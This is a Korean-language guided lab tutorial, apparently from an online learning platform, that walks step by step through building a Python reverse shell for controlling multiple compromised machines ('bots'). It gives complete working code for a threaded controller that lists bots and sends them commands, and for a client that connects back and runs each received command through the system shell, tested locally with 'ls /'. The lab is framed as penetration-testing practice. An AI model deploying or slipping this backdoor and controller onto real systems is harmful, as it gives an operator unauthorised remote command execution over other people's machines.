다중 타겟 제어를 위한 리버스 쉘 구현

PythonBeginner
지금 연습하기

소개

이 프로젝트에서는 Python 을 사용하여 여러 대의 침투된 머신 (일명 "봇") 을 제어할 수 있는 리버스 쉘 (Reverse Shell) 을 만드는 방법을 배웁니다. 일반적인 쉘과 달리 리버스 쉘은 봇에서 컨트롤러로 연결을 시도하므로, 방화벽이나 NAT 뒤에 있는 원격 호스트도 관리할 수 있습니다. 이 방식은 사이버 보안 분야의 모의 해킹이나 제어된 환경을 안전하게 관리하는 용도로 널리 사용됩니다.

구현에 들어가기에 앞서, 리버스 쉘 애플리케이션의 근간이 되는 클라이언트 - 서버 (C/S) 아키텍처와 전송 제어 프로토콜 (TCP) 의 기본 개념을 이해하는 것이 중요합니다.

C/S 아키텍처는 서비스를 요청하는 클라이언트와 서비스를 제공하는 서버로 구성됩니다. 이 실습에서 봇은 서버에 연결을 시도하는 클라이언트 역할을 하며, 우리는 서버를 통해 봇에서 원격으로 명령을 실행하게 됩니다.

우리는 서버와 클라이언트 간의 신뢰성 있는 연결 지향적 통신을 위해 TCP 를 사용합니다. TCP 는 데이터가 정확하고 순서대로 전달되도록 보장하며, 이는 오류 없이 명령을 실행하고 응답을 받는 데 필수적입니다.

👀 미리보기

Reverse shell command execution

🎯 학습 과제

이 프로젝트를 통해 다음 내용을 배우게 됩니다:

  • 네트워크 통신의 기초인 클라이언트 - 서버 (C/S) 아키텍처와 전송 제어 프로토콜 (TCP) 의 이해.
  • 여러 클라이언트 (봇) 로부터 들어오는 연결을 대기하는 서버 구축 방법.
  • 서버에 접속하여 수신된 명령을 실행하는 클라이언트 스크립트 작성 방법.
  • 연결된 클라이언트와 상호작용하기 위해 서버에서 명령을 전송하고 결과를 수신하는 기능 구현.
  • 동시에 여러 클라이언트 연결을 관리하고, 명령을 내릴 대상을 전환하는 방법.

🏆 학습 성취

이 프로젝트를 마치면 다음 능력을 갖추게 됩니다:

  • 신뢰할 수 있는 네트워크 통신을 위한 클라이언트 - 서버 모델 및 TCP 기초 숙달.
  • Python 을 이용한 다중 클라이언트 지원 리버스 쉘 서버 구현.
  • 원격 서버에 접속하여 서버가 보낸 명령을 실행할 수 있는 클라이언트 스크립트 제작.
  • 제어된 환경에서 다수의 연결을 처리하고 여러 클라이언트와의 통신 관리.
  • 네트워크 프로그래밍 실무 경험 및 사이버 보안과 원격 시스템 관리 분야에서의 응용 능력 확보.
이 과정은 단계별 안내를 통해 학습과 실습을 돕는 가이드 랩 (Guided Lab) 입니다. 각 단계를 주의 깊게 따라가며 직접 실습해 보시기 바랍니다. 통계에 따르면 이 과정은 초급 수준이며, 92%의 수료율과 학습자들로부터 100%의 긍정적인 평가를 받고 있습니다.

서버 클래스 초기화

server.py라는 이름의 파일을 생성하고 Server 클래스의 기본 구조를 작성하는 것으로 시작합니다.

import socket
import threading

class Server:
    def __init__(self, host='0.0.0.0', port=7676):
        self.host = host
        self.port = port
        self.clients = []
        self.current_client = None
        self.exit_flag = False
        self.lock = threading.Lock()

Server 클래스는 리버스 쉘 애플리케이션에서 흔히 "봇"이라고 불리는 여러 클라이언트 연결을 처리하도록 설계되었습니다. 초기화 메서드 (__init__) 에 정의된 구성 요소와 기능을 살펴보겠습니다.

  1. 임포트 문:
    • import socket: 네트워크 통신에 필요한 기능을 제공하는 Python 내장 socket 모듈을 가져옵니다. 소켓은 양방향 통신 채널의 종단점이며 클라이언트와 연결하고 통신하는 데 사용됩니다.
    • import threading: 프로세스 내에서 여러 스레드를 생성할 수 있게 해주는 threading 모듈을 가져옵니다. 이는 서버의 메인 실행 흐름을 방해하지 않으면서 동시에 여러 클라이언트 연결을 처리하는 데 필수적입니다.
  2. 클래스 정의:
    • class Server:: 리버스 쉘의 서버 측 작업에 필요한 기능을 캡슐화하는 Server 클래스를 정의합니다.
  3. 초기화 메서드 (__init__):
    • def __init__(self, host='0.0.0.0', port=7676):: Server 클래스의 새 인스턴스를 초기화합니다. 두 개의 기본 매개변수를 가집니다.
      • host='0.0.0.0': 기본 호스트 주소인 '0.0.0.0'은 서버가 모든 네트워크 인터페이스에서 대기하도록 지정합니다. 이를 통해 머신이 가진 모든 IP 주소에서 서버에 접근할 수 있습니다.
      • port=7676: 서버가 연결을 대기할 기본 포트 번호입니다. 포트 번호는 동일한 머신에서 실행되는 서로 다른 서비스를 구분하는 데 사용됩니다. 7676 이라는 번호는 임의로 선택된 것이며 사용자의 선호나 요구 사항에 따라 변경할 수 있습니다.
  4. 인스턴스 변수:
    • self.host: 서버가 연결을 대기할 호스트 주소를 저장합니다.
    • self.port: 서버가 대기할 포트 번호를 저장합니다.
    • self.clients = []: 연결된 클라이언트들을 추적하기 위한 빈 리스트를 초기화합니다. 연결된 각 클라이언트는 이 리스트에 추가되어 서버가 여러 클라이언트를 관리하고 통신할 수 있게 합니다.
    • self.current_client = None: 명령을 보내거나 데이터를 받기 위해 현재 선택된 클라이언트를 추적하는 변수입니다.
    • self.exit_flag = False: 서버의 메인 루프를 제어하는 플래그입니다. 이 플래그를 True로 설정하면 서버가 안전하게 종료되도록 신호를 보냅니다.
    • self.lock = threading.Lock(): 동기화 기본 객체인 스레딩 락 (Lock) 객체를 생성합니다. 락은 한 번에 하나의 스레드만 공유 리소스에 접근하거나 수정할 수 있도록 보장하여, 경쟁 상태 (Race Condition) 를 방지하고 데이터 무결성을 유지합니다.
✨ 솔루션 확인 및 연습

TCP 서버 시작

서버를 가동하고 연결을 대기하는 run 메서드를 구현합니다.

## server.py 에 이어서 작성
    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.bind((self.host, self.port))
            server_socket.listen(10)
            print(f"Server listening on port {self.port}...")

            connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
            connection_thread.start()

            while not self.exit_flag:
                if self.clients:
                    self.select_client()
                    self.handle_client()

run 메서드는 TCP 서버를 시작하고 클라이언트 (리버스 쉘의 "봇") 로부터 들어오는 연결을 대기하기 시작하는 Server 클래스의 핵심 부분입니다. 이 메서드에서 일어나는 일은 다음과 같습니다.

  1. 소켓 생성:
    • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: with 문을 사용하여 새 소켓을 생성합니다. 이렇게 하면 소켓이 더 이상 필요하지 않을 때 자동으로 닫힙니다. socket.AF_INET은 IPv4 주소 체계를 사용함을 의미하며, socket.SOCK_STREAM은 신뢰성 있는 연결 지향 통신을 제공하는 TCP 소켓임을 나타냅니다.
  2. 소켓 바인딩:
    • server_socket.bind((self.host, self.port)): bind 메서드는 소켓을 특정 네트워크 인터페이스 및 포트 번호와 연결합니다. 여기서는 Server 인스턴스의 hostport 속성에 바인딩하여 해당 주소와 포트에서 연결을 받을 준비를 합니다.
  3. 연결 대기:
    • server_socket.listen(10): 소켓이 들어오는 연결을 대기하도록 설정합니다. 인자 10은 서버가 새 연결을 거절하기 전까지 대기열에 쌓아둘 수 있는 최대 연결 수 (백로그) 를 지정합니다. 이는 총 동시 접속자 수를 제한하는 것이 아니라, 수락 대기 중인 연결의 수를 의미합니다.
  4. 서버 시작 메시지:
    • print(f"Server listening on port {self.port}..."): 서버가 정상적으로 실행되어 지정된 포트에서 연결을 기다리고 있음을 콘솔에 출력합니다.
  5. 들어오는 연결 처리:
    • connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): 새 Thread 객체를 초기화하고, server_socket을 인자로 하여 self.wait_for_connections 메서드를 실행 대상으로 설정합니다. 이 메서드는 루프를 돌며 지속적으로 연결을 수락하고 이를 self.clients 리스트에 추가하는 역할을 합니다.
    • connection_thread.start(): 스레드를 시작하여 별도의 실행 흐름에서 self.wait_for_connections 메서드를 호출합니다. 이를 통해 서버는 연결을 기다리는 동안 멈추지 않고 run 메서드의 나머지 부분을 계속 실행할 수 있습니다.
  6. 서버 메인 루프:
    • while not self.exit_flag:: self.exit_flagFalse인 동안 루프가 계속 실행됩니다. 이 루프 안에서 서버는 연결된 클라이언트를 관리하거나 서버 명령을 처리하는 등의 작업을 수행합니다.
    • if self.clients:: self.clients 리스트에 연결된 클라이언트가 있는지 확인합니다.
      • self.select_client(): 서버 운영자가 상호작용할 클라이언트 중 하나를 선택할 수 있게 하는 메서드입니다.
      • self.handle_client(): 선택된 클라이언트와의 상호작용을 처리하는 메서드입니다. 운영자로부터 명령을 입력받아 클라이언트에 전송하고 응답을 표시합니다.

이 구조는 스레드를 사용하여 연결 수락과 클라이언트 관리를 동시에 처리함으로써, 서버가 여러 클라이언트 연결을 비차단 (Non-blocking) 방식으로 관리할 수 있게 해줍니다.

✨ 솔루션 확인 및 연습

들어오는 연결 수락

별도의 스레드에서 들어오는 클라이언트 연결을 관리하기 위해 wait_for_connections 메서드를 추가합니다.

## server.py 에 이어서 작성
    def wait_for_connections(self, server_socket):
        while not self.exit_flag:
            client_socket, client_address = server_socket.accept()
            print(f"New connection from {client_address[0]}")
            with self.lock:
                self.clients.append((client_socket, client_address))

wait_for_connections 메서드는 서버에서 들어오는 클라이언트 연결을 지속적으로 감시하고 수락하도록 설계되었습니다. 이 메서드는 별도의 스레드에서 실행되므로, 서버가 새로운 연결을 기다리는 accept 호출에 묶여 다른 작업 (예: 이미 연결된 클라이언트와 통신) 을 못 하게 되는 상황을 방지합니다. 상세 내용은 다음과 같습니다.

  1. 지속적인 대기 루프:
    • while not self.exit_flag:: self.exit_flagFalse인 동안 계속 실행됩니다. 이 플래그는 이 대기 루프를 포함하여 서버를 제어된 방식으로 중단시키기 위해 사용됩니다. 플래그가 True가 되면 루프가 종료되어 서버가 더 이상 새 연결을 받지 않게 됩니다.
  2. 연결 수락:
    • client_socket, client_address = server_socket.accept(): accept 메서드는 들어오는 연결을 기다립니다. 클라이언트가 접속하면 통신을 담당할 새 소켓 객체 (client_socket) 와 클라이언트의 IP 주소 및 포트 번호가 담긴 튜플 (client_address) 을 반환합니다. 이 코드는 새 연결이 들어올 때까지 해당 스레드의 실행을 일시 중단 (Block) 시킵니다.
  3. 연결 알림:
    • print(f"New connection from {client_address[0]}"): 새 연결이 수락되면 새로 연결된 클라이언트의 IP 주소를 콘솔에 출력합니다. 이는 로깅 및 모니터링 용도로 유용합니다.
  4. 스레드 안전한 클라이언트 관리:
    • with self.lock:: 스레딩 락 (self.lock) 을 사용하여 블록 시작 시 락을 획득하고 끝날 때 자동으로 해제합니다. 락의 목적은 공유 리소스인 self.clients 리스트에 대한 스레드 안전한 접근을 보장하는 것입니다. 이는 멀티스레드 환경에서 데이터 오염을 방지하고 일관성을 유지하는 데 매우 중요합니다.
    • self.clients.append((client_socket, client_address)): 보호된 블록 내부에서 새 클라이언트의 소켓과 주소를 튜플 형태로 self.clients 리스트에 추가합니다. 이 리스트는 모든 연결된 클라이언트를 추적하여 나중에 서버가 개별적으로 상호작용할 수 있게 합니다.

이 메서드는 서버가 다른 작업과 병렬로 들어오는 연결을 처리할 수 있게 하며, 연결된 클라이언트 목록을 안전하게 관리하여 후속 작업을 가능하게 합니다.

✨ 솔루션 확인 및 연습

클라이언트 상호작용 기능 구현

연결된 클라이언트를 선택하고 상호작용하는 기능을 구현합니다.

## server.py 에 이어서 작성
    def select_client(self):
        print("Available clients:")
        for index, (_, addr) in enumerate(self.clients):
            print(f"[{index}]-> {addr[0]}")

        index = int(input("Select a client by index: "))
        self.current_client = self.clients[index]

    def handle_client(self):
        client_socket, client_address = self.current_client
        while True:
            command = input(f"{client_address[0]}:~## ")
            if command == '!ch':
                break
            if command == '!q':
                self.exit_flag = True
                print("Exiting server...")
                break

            client_socket.send(command.encode('utf-8'))
            response = client_socket.recv(1024)
            print(response.decode('utf-8'))

select_clienthandle_client 함수는 리버스 쉘 서버 환경에서 연결된 클라이언트와 상호작용하는 데 핵심적인 역할을 합니다. 각 함수의 작동 방식은 다음과 같습니다.

select_client 함수

이 함수는 현재 연결된 모든 클라이언트를 나열하고 서버 운영자가 상호작용할 클라이언트를 선택할 수 있게 합니다.

  • print("Available clients:"): 사용 가능한 클라이언트 목록이 출력될 것임을 알리는 메시지를 표시합니다.
  • for index, (_, addr) in enumerate(self.clients):: 클라이언트 소켓과 주소 튜플이 담긴 self.clients 리스트를 순회합니다. _는 이 맥락에서 필요 없는 클라이언트 소켓을 위한 자리 표시자이며, addr은 클라이언트 주소입니다. enumerate 함수는 각 항목에 인덱스를 부여합니다.
  • print(f"[{index}]-> {addr[0]}"): 각 클라이언트에 대해 인덱스와 IP 주소를 출력합니다. 이를 통해 운영자는 어떤 클라이언트들이 연결되어 있는지 쉽게 확인할 수 있습니다.
  • index = int(input("Select a client by index: ")): 운영자에게 상호작용하려는 클라이언트의 인덱스를 입력받습니다. 입력값은 정수로 변환되어 index에 저장됩니다.
  • self.current_client = self.clients[index]: 선택된 인덱스에 해당하는 클라이언트 튜플 (소켓 및 주소) 을 self.current_client에 할당합니다. 이 클라이언트가 이후 명령의 대상이 됩니다.

handle_client 함수

이 함수는 선택된 클라이언트에 명령을 보내고 응답을 받는 과정을 돕습니다.

  • client_socket, client_address = self.current_client: self.current_client 튜플을 client_socketclient_address로 언패킹합니다.
  • while True:: 무한 루프에 진입하여 운영자가 특수 명령을 입력하기 전까지 클라이언트에 지속적으로 명령을 보낼 수 있게 합니다.
  • command = input(f"{client_address[0]}:~## "): 운영자에게 명령 입력을 요청합니다. 프롬프트에는 명확성을 위해 현재 클라이언트의 IP 주소가 포함됩니다.
  • if command == '!ch':: 특수 명령인 !ch가 입력되었는지 확인합니다. 이 명령은 현재 클라이언트를 변경하겠다는 신호입니다. 입력 시 루프를 빠져나가 운영자가 새 클라이언트를 선택할 수 있게 합니다.
  • if command == '!q':: 서버 종료 명령 (!q) 이 입력되었는지 확인합니다. 입력 시 self.exit_flagTrue로 설정하여 서버 루프를 종료하고 클라이언트 처리 루프를 빠져나갑니다.
  • client_socket.send(command.encode('utf-8')): 입력된 명령을 클라이언트에 전송합니다. 네트워크 통신은 바이트 데이터를 요구하므로 명령 문자열을 UTF-8 로 인코딩합니다.
  • response = client_socket.recv(1024): 클라이언트로부터 응답이 올 때까지 기다렸다가 수신합니다. recv(1024)는 최대 1024 바이트를 읽도록 지정합니다. 응답이 이보다 크다면 루프를 통해 처리하거나 크기를 조정해야 할 수 있습니다.
  • print(response.decode('utf-8')): 수신된 바이트 응답을 UTF-8 로 디코딩하여 출력합니다. 이를 통해 운영자는 클라이언트 머신에서 실행된 명령의 결과를 확인할 수 있습니다.

이 함수들은 서버 운영자가 여러 연결된 클라이언트를 관리하고, 선택된 클라이언트에 명령을 내리며, 그 결과를 확인하는 리버스 쉘 서버의 기본 역량을 제공합니다.

✨ 솔루션 확인 및 연습

서버 실행

서버 인스턴스를 생성하고 실행하기 위한 진입점 (Entry point) 을 추가합니다.

## server.py 에 이어서 작성
if __name__ == "__main__":
    server = Server()
    server.run()

스크립트의 이 부분은 파일이 직접 실행될 때 서버를 가동하여 클라이언트로부터의 연결을 수락하고 관리할 수 있게 합니다.

✨ 솔루션 확인 및 연습

클라이언트 생성

다음으로 클라이언트 (봇) 측을 작성해 보겠습니다. 클라이언트는 서버에 접속하여 수신된 명령을 실행합니다.

client.py 파일을 생성하고 다음 내용을 추가합니다.

import socket
import subprocess
import sys
import time

def connect_to_server(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        while True:
            command = sock.recv(1024).decode('utf-8')
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            output = result.stdout.decode(sys.getfilesystemencoding())
            sock.send(output.encode('utf-8'))
            time.sleep(1)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 7676
    connect_to_server(HOST, PORT)

client.py 스크립트는 클라이언트 (리버스 쉘의 "봇") 가 서버에 연결하고 들어오는 명령을 처리하는 방식을 보여줍니다. 단계별 설명은 다음과 같습니다.

  • def connect_to_server(host, port):: 서버에 접속하기 위해 호스트와 포트 번호를 인자로 받는 함수를 정의합니다.
  • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:: IPv4(AF_INET) 와 TCP(SOCK_STREAM) 를 사용하는 소켓 객체를 생성하며, with 블록을 벗어날 때 자동으로 닫히도록 합니다.
  • sock.connect((host, port)): 지정된 호스트와 포트에서 대기 중인 서버로 연결을 시도합니다.
  • while True:: 서버로부터 명령을 지속적으로 받기 위해 무한 루프를 실행합니다.
  • command = sock.recv(1024).decode('utf-8'): 서버로부터 명령을 수신할 때까지 대기하며 최대 1024 바이트를 읽습니다. 수신된 바이트는 UTF-8 로 디코딩되어 문자열로 변환됩니다.
  • result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE): 시스템 쉘을 사용하여 수신된 명령을 실행합니다. stdout=subprocess.PIPEstderr=subprocess.PIPE는 각각 명령의 표준 출력과 표준 에러를 캡처합니다.
  • output = result.stdout.decode(sys.getfilesystemencoding()): 실행된 명령의 출력 (바이트) 을 파일 시스템 인코딩을 사용하여 문자열로 디코딩합니다. 이를 통해 시스템 특유의 문자들이 올바르게 해석되도록 보장합니다.
  • sock.send(output.encode('utf-8')): 명령 실행 결과를 서버로 다시 보냅니다. 네트워크 전송에 적합하도록 문자열을 다시 UTF-8 바이트로 인코딩합니다.
  • time.sleep(1): 다음 명령을 기다리기 전에 1 초간 실행을 멈춥니다. 이는 클라이언트가 너무 빠른 속도로 서버나 네트워크에 부하를 주는 것을 방지하기 위해 흔히 사용됩니다.

이 클라이언트 스크립트는 실행되는 머신을 지정된 서버에 접속하여 명령을 기다리고, 실행하고, 결과를 반환하는 "봇"으로 변환합니다. 이러한 설정은 연구자들이 보안 조치를 이해하고 개선하기 위해 공격과 방어를 시뮬레이션하는 모의 해킹 실습실과 같은 제어된 환경에서 전형적으로 사용됩니다.

✨ 솔루션 확인 및 연습

설정 테스트

마지막으로, 리버스 쉘 설정이 예상대로 작동하는지 테스트해 보겠습니다.

서버 실행

먼저, 터미널 창에서 server.py 스크립트를 실행합니다.

python server.py
클라이언트 실행

별도의 터미널 창을 엽니다.

Opening new terminal window

client.py 스크립트를 실행합니다.

python client.py
명령 실행

다시 서버 터미널로 돌아옵니다.

Server terminal with client selection

연결된 클라이언트를 선택하고 명령을 실행할 수 있어야 합니다. 예를 들어, 디렉토리 목록을 확인해 보십시오.

ls /

클라이언트 머신에서 실행된 ls / 명령의 결과가 서버 터미널에 출력되는 것을 확인할 수 있습니다.

Server terminal ls output
✨ 솔루션 확인 및 연습

요약

이 프로젝트에서는 클라이언트 - 서버 아키텍처와 TCP 통신을 활용하여 Python 으로 기본적인 리버스 쉘을 구현하는 방법을 배웠습니다. 클라이언트 (봇) 로부터의 연결을 대기하고 명령을 전송하는 서버를 구축해 보았습니다. 이 기술은 네트워크 프로그래밍과 사이버 보안의 기초적인 기술이며, 원격 시스템을 관리하는 데 있어 Python 이 가진 강력함과 유연성을 잘 보여줍니다.